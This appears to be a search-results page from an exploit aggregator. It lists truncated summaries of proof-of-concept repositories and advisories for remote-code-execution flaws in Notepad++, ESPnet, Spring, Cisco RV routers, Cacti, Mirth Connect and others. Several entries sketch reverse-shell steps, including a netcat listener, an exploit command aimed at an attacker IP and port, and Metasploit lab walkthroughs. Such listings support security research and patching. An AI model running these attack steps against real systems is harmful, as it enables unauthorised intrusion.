1141593 matches found
CVE-2025-15556-Notepad-WinGUp-Updater-RCE
影響を受けるソフトウェア: WinGUpアップデーターを使用する8.8.9より前のNotepad++バージョン。 脆弱性タイプ: 任意のコード実行につながるアップデート整合性検証のバイパス 説明: WinGUpアップデーターはアップデートメタデータの整合性を適切に検証しないため、アップデートトラフィックを傍受またはリダイレクトできる攻撃者が、ユーザー権限で実行される悪意のあるインストーラーを配布できるようになります。 また、参考用にexploit.py（中間者攻撃プロキシ）と、仲間のプレイヤー向けのHTBフレンドリー版（DNSスプーフィングシミュレーション）も含めました。...
EUVD-2026-77001
ESPnet before 202609 deserializes pretrained model checkpoints using torch.load with weightsonly=False, allowing arbitrary code execution from attacker-supplied files. Attackers can craft malicious checkpoint files that execute code during deserialization when loaded through the initialization or...
CVE-2026-90777 ESPnet before 202609 Remote Code Execution via Unsafe Deserialization
ESPnet before 202609 deserializes pretrained model checkpoints using torch.load with weightsonly=False, allowing arbitrary code execution from attacker-supplied files. Attackers can craft malicious checkpoint files that execute code during deserialization when loaded through the initialization or...
CVE-2026-90777 ESPnet before 202609 Remote Code Execution via Unsafe Deserialization
ESPnet before 202609 deserializes pretrained model checkpoints using torch.load with weightsonly=False, allowing arbitrary code execution from attacker-supplied files. Attackers can craft malicious checkpoint files that execute code during deserialization when loaded through the initialization or...
CVE-2026-90777
ESPnet before v.202609 deserializes pretrained model checkpoints using torch.load with weights_only=False, enabling arbitrary code execution from attacker-supplied files. The vulnerable code path is triggered when a malicious checkpoint file is loaded through the model initialization or fine-tuni...
CVE-2025-13486
🔴 CVE-2025-13486 - Advanced Custom Fields Extended ACFE WordPressプラグインエクスプロイト 📋 概要 CVE-2025-13486 の概念実証エクスプロイトです。これは Advanced Custom Fields: Extended ACFE WordPressプラグインの深刻な脆弱性で、リモートコード実行から権限昇格を可能にします。 🎯 脆弱性の詳細 側面| 詳細 ---|--- CVE ID| CVE-2025-13486 プラグイン| Advanced Custom Fields: Extended ACFE タイプ...
Jenkins_CVE-2019-1003000
JenkinsScript-SecurityPipelineプラグインのリモートコード実行の脆弱性CVE-2019-1003000 pocsuite版...
cve-2026-82222-poc
CVE-2026-82222 GiveWP = 4.16.7.1 における未認証のPHPオブジェクトインジェクションからRCEへ 4.16.7.2 でパッチ適用済み...
CVE-2022-22980
SpEL RCE Exploit - CVE-2022-22980 Spring Data に対する SpEL（Spring Expression Language）インジェクションを利用したリモートコード実行（RCE）エクスプロイト。 説明 脆弱性 このボックスは、SpEL インジェクションに対して脆弱なパラメータ trackingid を受け付けるエンドポイント /search を公開しています。このインジェクションにより、サーバー上で悪意のある Java 式を直接実行できます。 エクスプロイトの原理 1. Runtime.getRuntime.exec を介してシェルコマンドを実行...
Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE
Spring Cloud Function の脆弱性 CVE-2022-22963 RCE これは Spring4Shell CVE-2022-22963 の Python 実装です。 Spring Cloud Function =3.1.6（3.1.x 系向け）、 および =3.2.2（3.2.x 系向け）を実行しているサービスに影響します。 オンライン上の複数の POC を組み合わせたものです。 作者: Randall Banner 日付: 17/04/23 説明: このスクリプトは、現在のディレクトリに、単純な bash リバースシェルのワンライナー を含む shell.sh...
cisco-rv-rce-poc
CVE-2023-20048 — Cisco RV 系列 概念验证与漏洞利用 ⚠ 警告： 仅用于授权测试 。不得将本工具用于您未拥有或未获得书面许可的系统。这仅是一个概念验证 ，仅限授权测试 使用。 这是什么 一个小型仓库，包含： CiscoPoc.py — 用于检测 CVE-2023-20048 的无害概念验证脚本。 CiscoRCE.py — 通过存在漏洞的 form2ping.cgi 尝试获取反向 Shell 的漏洞利用工具。 描述 该脚本用于检测 Cisco RV 系列路由器 是否存在 CVE-2023-20048 漏洞，这是一个命令注入缺陷，可导致以 root 权限执行远程代码...
CVE-2021-29440
CVE-2021-29440 Grav CMS 1.7.10 の静的ページの安全でない Twig 処理による RCE Grav はファイルベースのWebプラットフォームです。静的ページの Twig 処理は、ページの作成または編集を許可された管理ユーザーであれば誰でもフロントマターで有効にできます。Twig プロセッサはサンドボックス化されずに実行されるため、この動作を利用して任意のコード実行を達成し、インスタンス上の権限を昇格させることができます。 解説 /admin ダッシュボードにアクセスでき、ページ作成権限を持つユーザーが必要です。 フロントマターブロックは process.twi...
CVE-2019-0708
CVE-2019-0708-poc CVE-2019-0708 リモートコード実行の脆弱性を一括検出 3389hosts は検出対象のIPアドレスリストです。1行に1つ pool = ThreadPool10 はカスタムスキャンスレッドです 注意 Windows Python3環境 使用方法 1. 3389hostsを編集し、検出対象のIPアドレスをファイルに書き込みます（1行に1つ） 2. コマンドラインでコードのあるディレクトリに移動し、python cve-2019-0708.py を実行します...
CVE-2023-33246
CVE-2023-33246 - RocketMQ リモートコード実行 CVE-2023-33246 - Apache RocketMQ 設定によるリモートコード実行エクスプロイト 概要 RocketMQ は分散型メッセージングおよびストリーミングプラットフォームです。 RocketMQ バージョン 5.1.0 以下は、任意のコードインジェクションに対して脆弱です。RocketMQ の Broker コンポーネントが外部ネットワークに漏洩し、アクセス許可の検証が不足しています。攻撃者は設定更新機能を利用して、RocketMQ...
CVE-2025-24367-PoC-Cacti
Cacti CVE‑2025‑24367 認証済みRCE PoC このリポジトリには、Cacti の認証済みリモートコード実行（RCE）の脆弱性である CVE‑2025‑24367 の概念実証（PoC）エクスプロイトが含まれています。 この問題は、グラフテンプレート処理における入力サニタイズの不備を悪用します。“Unix – Logged in Users” グラフテンプレート（ID 226）に悪意のあるコンテンツを注入することで、任意の PHP ファイルを Cacti の Web ルートに書き込み、サーバー上でコマンドを実行することが可能になります。 この PoC...
CVE-2025-33053_PoC
CVE-2025-33053 POCエクスプロイト 概要 .urlファイルの作業ディレクトリは、外部のWebDAVサーバーに設定することができます。Windowsクライアントが開くと、URLフィールドで定義された実行可能ファイルの依存関係が、外部のWebDAV共有上で検索されます。任意の実行可能ファイルやDLLにこれらの依存関係のいずれかと同じ名前を付けると、Windowsクライアントによってロードされ実行されます。このPOCでは、URLはWindowsクライアントにローカルなInternet...
PHP-CGI-Argument-Injection-Exploit
🎬 このYouTube動画 1️⃣ ターゲットの確認 KaliからMetasploitableのIPを特定します: root@kitploit: ip a 例: Kali: 192.168.56.101 Metasploitable2: 192.168.56.102 ポートとサービスを確認します: root@kitploit: nmap -p 80 192.168.56.102 ブラウザでも確認できます: http://192.168.56.102/ 2️⃣ Metasploitを起動 root@kitploit: msfconsole 3️⃣ PHP CGIエクスプロイトモジュールの選択...
CVE-2026-90770
Spug through 3.4.0 contains a remote code execution vulnerability in the pingcheck function that interpolates user-supplied monitor addresses directly into shell commands without validation. Authenticated users with monitor permissions can inject shell metacharacters via the /monitor/runtest/...
CVE-2023-43208
Mirth Connect RCE - CVE-2023-43208 説明 Mirth Connect のリモートコード実行（RCE）の PoC XStream の逆シリアル化を介して Mirth Connect 例 リスナーを起動 root@kitploit: nc -lvnp 4444 エクスプロイトを実行 root@kitploit: ./exploit https://target.com 10.10.10.10 4444 参考文献 https://nvd.nist.gov/vuln/detail/CVE-2023-43208...